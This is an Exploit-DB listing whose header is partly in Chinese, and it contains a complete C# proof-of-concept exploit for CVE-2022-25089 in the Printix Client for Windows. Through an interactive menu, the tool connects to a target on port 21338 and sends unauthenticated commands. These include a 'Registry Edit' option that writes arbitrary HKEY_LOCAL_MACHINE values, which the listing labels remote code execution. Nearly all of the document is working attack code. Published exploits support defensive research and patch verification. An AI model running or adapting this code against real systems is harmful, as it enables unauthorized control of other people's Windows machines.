标题: Printix Client 1.3.1106.0 - Remote Code Execution (RCE) EDB-ID: 50798 CVE: 2022-25089 类型: REMOTE 平台: WINDOWS 发布日期: 2022-03-02 漏洞利用脚本: # Exploit Title: Printix Client 1.3.1106.0 - Remote Code Execution (RCE)
# Date: 3/1/2022
# Exploit Author: Logan Latvala
# Vendor Homepage: https://printix.net
# Software Link: https://software.printix.net/client/win/1.3.1106.0/PrintixClientWindows.zip
# Version: <= 1.3.1106.0
# Tested on: Windows 7, Windows 8, Windows 10, Windows 11
# CVE : CVE-2022-25089
# Github for project: https://github.com/ComparedArray/printix-CVE-2022-25089

using Microsoft.Win32;
using Newtonsoft.Json;
using Newtonsoft.Json.Converters;
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Linq;
using System.Text;
using System.Threading;
using System.Threading.Tasks;

/**
 * ________________________________________
 * 
 * Printix Vulnerability, CVE-2022-25089
 * Part of a Printix Vulnerability series
 * Author: Logan Latvala
 * Github: https://github.com/ComparedArray/printix-CVE-2022-25089
 * ________________________________________
 * 
 */


namespace ConsoleApp1a
{

 public class PersistentRegistryData
 {
  public PersistentRegistryCmds cmd;

  public string path;

  public int VDIType;

  public byte[] registryData;
 }

 [JsonConverter(typeof(StringEnumConverter))]
 public enum PersistentRegistryCmds
 {
  StoreData = 1,
  DeleteSubTree,
  RestoreData
 }
 public class Session
 {
  public int commandNumber { get; set; }
  public string host { get; set; }
  public string data { get; set; }
  public string sessionName { get; set; }
  public Session(int commandSessionNumber = 0)
  {
   commandNumber = commandSessionNumber;
   switch (commandSessionNumber)
   {
    //Incase it's initiated, kill it immediately.
    case (0):
     Environment.Exit(0x001);
     break;

    //Incase the Ping request is sent though, get its needed data.
    case (2):
     Console.WriteLine("\n What Host Address?  (DNS Names Or IP)\n");
     Console.Write("IP: ");
     host = Console.ReadLine();
     Console.WriteLine("Host address set to: " + host);

     data = "pingData";
     sessionName = "PingerRinger";
     break;

    //Incase the RegEdit request is sent though, get its needed data.
    case (49):
     Console.WriteLine("\n What Host Address?  (DNS Names Or IP)\n");
     Console.Write("IP: ");
     host = Console.ReadLine();
     Console.WriteLine("Host address set to: " + host);

     PersistentRegistryData persistentRegistryData = new PersistentRegistryData();
     persistentRegistryData.cmd = PersistentRegistryCmds.RestoreData;
     persistentRegistryData.VDIType = 12; //(int)DefaultValues.VDIType;
               //persistentRegistryData.path = "printix\\SOFTWARE\\Intel\\HeciServer\\das\\SocketServiceName";
     Console.WriteLine("\n What Node starting from \\\\Local-Machine\\ would you like to select? \n");
     Console.WriteLine("Example: HKEY_LOCAL_MACHINE\\SOFTWARE\\Intel\\HeciServer\\das\\SocketServiceName\n");
     Console.WriteLine("You can only change values in HKEY_LOCAL_MACHINE");
     Console.Write("Registry Node: ");
     persistentRegistryData.path = "" + Console.ReadLine().Replace("HKEY_LOCAL_MACHINE","printix");
     Console.WriteLine("Full Address Set To:  " + persistentRegistryData.path);

     //persistentRegistryData.registryData = new byte[2];
     //byte[] loader = selectDataType("Intel(R) Capability Licensing stuffidkreally", RegistryValueKind.String);

     Console.WriteLine("\n What Data type are you using? \n1. String 2. Dword  3. Qword 4. Multi String  \n");
     Console.Write("Type:  ");
     int dataF = int.Parse(Console.ReadLine());
     Console.WriteLine("Set Data to: " + dataF);

     Console.WriteLine("\n What value is your type?  \n");
     Console.Write("Value:  ");
     string dataB = Console.ReadLine();
     Console.WriteLine("Set Data to: " + dataF);

     byte[] loader = null;
     List<byte> byteContainer = new List<byte>();
     //Dword = 4
     //SET THIS NUMBER TO THE TYPE OF DATA YOU ARE USING! (CHECK ABOVE FUNCITON selectDataType()!)

     switch (dataF)
     {
      case (1):

       loader = selectDataType(dataB, RegistryValueKind.String);
       byteContainer.Add(1);
       break;
      case (2):
       loader = selectDataType(int.Parse(dataB), RegistryValueKind.DWord);
       byteContainer.Add(4);
       break;
      case (3):
       loader = selectDataType(long.Parse(dataB), RegistryValueKind.QWord);
       byteContainer.Add(11);
       break;
      case (4):
       loader = selectDataType(dataB.Split('%'), RegistryValueKind.MultiString);
       byteContainer.Add(7);
       break;

     }

     int pathHolder = 0;
     foreach (byte bit in loader)
     {
      pathHolder++;
      byteContainer.Add(bit);
     }

     persistentRegistryData.registryData = byteContainer.ToArray();
     //added stuff:

     //PersistentRegistryData data = new PersistentRegistryData();
     //data.cmd = PersistentRegistryCmds.RestoreData;
     //data.path = "";


     //data.cmd 
     Console.WriteLine(JsonConvert.SerializeObject(persistentRegistryData));
     data = JsonConvert.SerializeObject(persistentRegistryData);

     break;
    //Custom cases, such as custom JSON Inputs and more.
    case (100):
     Console.WriteLine("\n What Host Address?  (DNS Names Or IP)\n");
     Console.Write("IP: ");
     host = Console.ReadLine();
     Console.WriteLine("Host address set to: " + host);

     Console.WriteLine("\n What Data Should Be Sent?\n");
     Console.Write("Data: ");
     data = Console.ReadLine();
     Console.WriteLine("Data set to: " + data);

     Console.WriteLine("\n What Session Name Should Be Used? \n");
     Console.Write("Session Name: ");
     sessionName = Console.ReadLine();
     Console.WriteLine("Session name set to: " + sessionName);
     break;
   }


  }
  public static byte[] selectDataType(object value, RegistryValueKind format)
  {
   byte[] array = new byte[50];

   switch (format)
   {
    case RegistryValueKind.String: //1
     array = Encoding.UTF8.GetBytes((string)value);
     break;
    case RegistryValueKind.DWord://4
     array = ((!(value.GetType() == typeof(int))) ? BitConverter.GetBytes((long)value) : BitConverter.GetBytes((int)value));
     break;
    case RegistryValueKind.QWord://11
     if (value == null)
     {
      value = 0L;
     }
     array = BitConverter.GetBytes((long)value);
     break;
    case RegistryValueKind.MultiString://7 
     {
      if (value == null)
      {
       value = new string[1] { string.Empty };
      }
      string[] array2 = (string[])value;
      foreach (string s in array2)
      {
       byte[] bytes = Encoding.UTF8.GetBytes(s);
       byte[] second = new byte[1] { (byte)bytes.Length };
       array = array.Concat(second).Concat(bytes).ToArray();
      }
      break;
     }
   }
   return array;
  }
 }
 class CVESUBMISSION
    {
  static void Main(string[] args)
  {
  FORCERESTART:
   try
   {

    //Edit any registry without auth: 
    //Use command 49, use the code provided on the desktop...
    //This modifies it directly, so no specific username is needed. :D

    //The command parameter, a list of commands is below.
    int command = 43;

    //To force the user to input variables or not.
    bool forceCustomInput = false;

    //The data to send, this isn't flexible and should be used only for specific examples.
    //Try to keep above 4 characters if you're just shoving things into the command.
    string data = "{\"profileID\":1,\"result\":true}";

    //The username to use.
    //This is to fulfill the requriements whilst in development mode.
    DefaultValues.CurrentSessName = "printixMDNs7914";

    //The host to connect to. DEFAULT= "localhost"
    string host = "192.168.1.29";

   //        Configuration Above

   InvalidInputLabel:
    Console.Clear();
    Console.WriteLine("Please select the certificate you want to use with port 21338.");
    //Deprecated, certificates are no longer needed to verify, as clientside only uses the self-signed certificates now.
    Console.WriteLine("Already selected, client authentication isn't needed.");

    Console.WriteLine(" /───────────────────────────\\ ");
    Console.WriteLine("\nWhat would you like to do?");
    Console.WriteLine("\n 1. Send Ping Request");
    Console.WriteLine(" 2. Send Registry Edit Request");
    Console.WriteLine(" 3. Send Custom Request");
    Console.WriteLine(" 4. Experimental Mode (Beta)\n");
    Console.Write("I choose option # ");

    try
    {
     switch (int.Parse(Console.ReadLine().ToLower()))
     {
      case (1):
       Session session = new Session(2);

       command = session.commandNumber;
       host = session.host;
       data = session.data;
       DefaultValues.CurrentSessName = "printixReflectorPackage_" + new Random().Next(1, 200);



       break;
      case (2):
       Session sessionTwo = new Session(49);

       command = sessionTwo.commandNumber;
       host = sessionTwo.host;
       data = sessionTwo.data;
       DefaultValues.CurrentSessName = "printixReflectorPackage_" + new Random().Next(1, 200);

       break;
      case (3):

       Console.WriteLine("What command number do you want to input?");
       command = int.Parse(Console.ReadLine().ToString());
       Console.WriteLine("What IP would you like to use? (Default = localhost)");
       host = Console.ReadLine();
       Console.WriteLine("What data do you want to send? (Keep over 4 chars if you are not sure!)");
       data = Console.ReadLine();

       Console.WriteLine("What session name do you want to use? ");
       DefaultValues.CurrentSessName = Console.ReadLine();
       break;
      case (4):
       Console.WriteLine("Not yet implemented.");
       break;
     }
    }
    catch (Exception e)
    {
     Console.WriteLine("Invalid Input!");
     goto InvalidInputLabel;
    }
    
    Console.WriteLine("Proof Of Concept For CVE-2022-25089 | Version: 1.3.24 | Created by Logan Latvala");
    Console.WriteLine("This is a RAW API, in which you may get unintended results from usage.\n");

    CompCommClient client = new CompCommClient();


    byte[] responseStorage = new byte[25555];
    int responseCMD = 0;
    client.Connect(host, 21338, 3, 10000);

    client.SendMessage(command, Encoding.UTF8.GetBytes(data));
    // Theory: There is always a message being sent, yet it doesn't read it, or can't intercept it.
    // Check for output multiple times, and see if this is conclusive.



    //client.SendMessage(51, Encoding.ASCII.GetBytes(data));
    new Thread(() => {
     //Thread.Sleep(4000);
     if (client.Connected())
     {
      int cam = 0;
      // 4 itterations of loops, may be lifted in the future.
      while (cam < 5)
      {

       //Reads the datastream and keeps returning results.
       //Thread.Sleep(100);
       try
       {
        try
        {
         if (responseStorage?.Any() == true)
         {
          //List<byte> byo1 =  responseStorage.ToList();
          if (!Encoding.UTF8.GetString(responseStorage).Contains("Caption"))
          {
           foreach (char cam2 in Encoding.UTF8.GetString(responseStorage))
           {
            if (!char.IsWhiteSpace(cam2) && char.IsLetterOrDigit(cam2) || char.IsPunctuation(cam2))
            {
             Console.Write(cam2);
            }
           }
          }else
                                        {
           
                                        }
         }

        }
        catch (Exception e) { Debug.WriteLine(e); }
        client.Read(out responseCMD, out responseStorage);

       }
       catch (Exception e)
       {
        goto ReadException;
       }
       Thread.Sleep(100);
       cam++;
       //Console.WriteLine(cam);
      }

     


     }
     else
     {
      Console.WriteLine("[WARNING]: Client is Disconnected!");
     }
    ReadException:
     try
     {
      Console.WriteLine("Command Variable Response: " + responseCMD);
      Console.WriteLine(Encoding.UTF8.GetString(responseStorage) + " || " + responseCMD);
      client.disConnect();
     }
     catch (Exception e)
     {
      Console.WriteLine("After 4.2 Seconds, there has been no response!");
      client.disConnect();
     }
    }).Start();

    Console.WriteLine(responseCMD);
    Console.ReadLine();

   }

   catch (Exception e)
   {
    Console.WriteLine(e);
    Console.ReadLine();

    //Environment.Exit(e.HResult);
   }

   goto FORCERESTART;
  }
 }
} URL: https://www.exploit-db.com/exploits/50798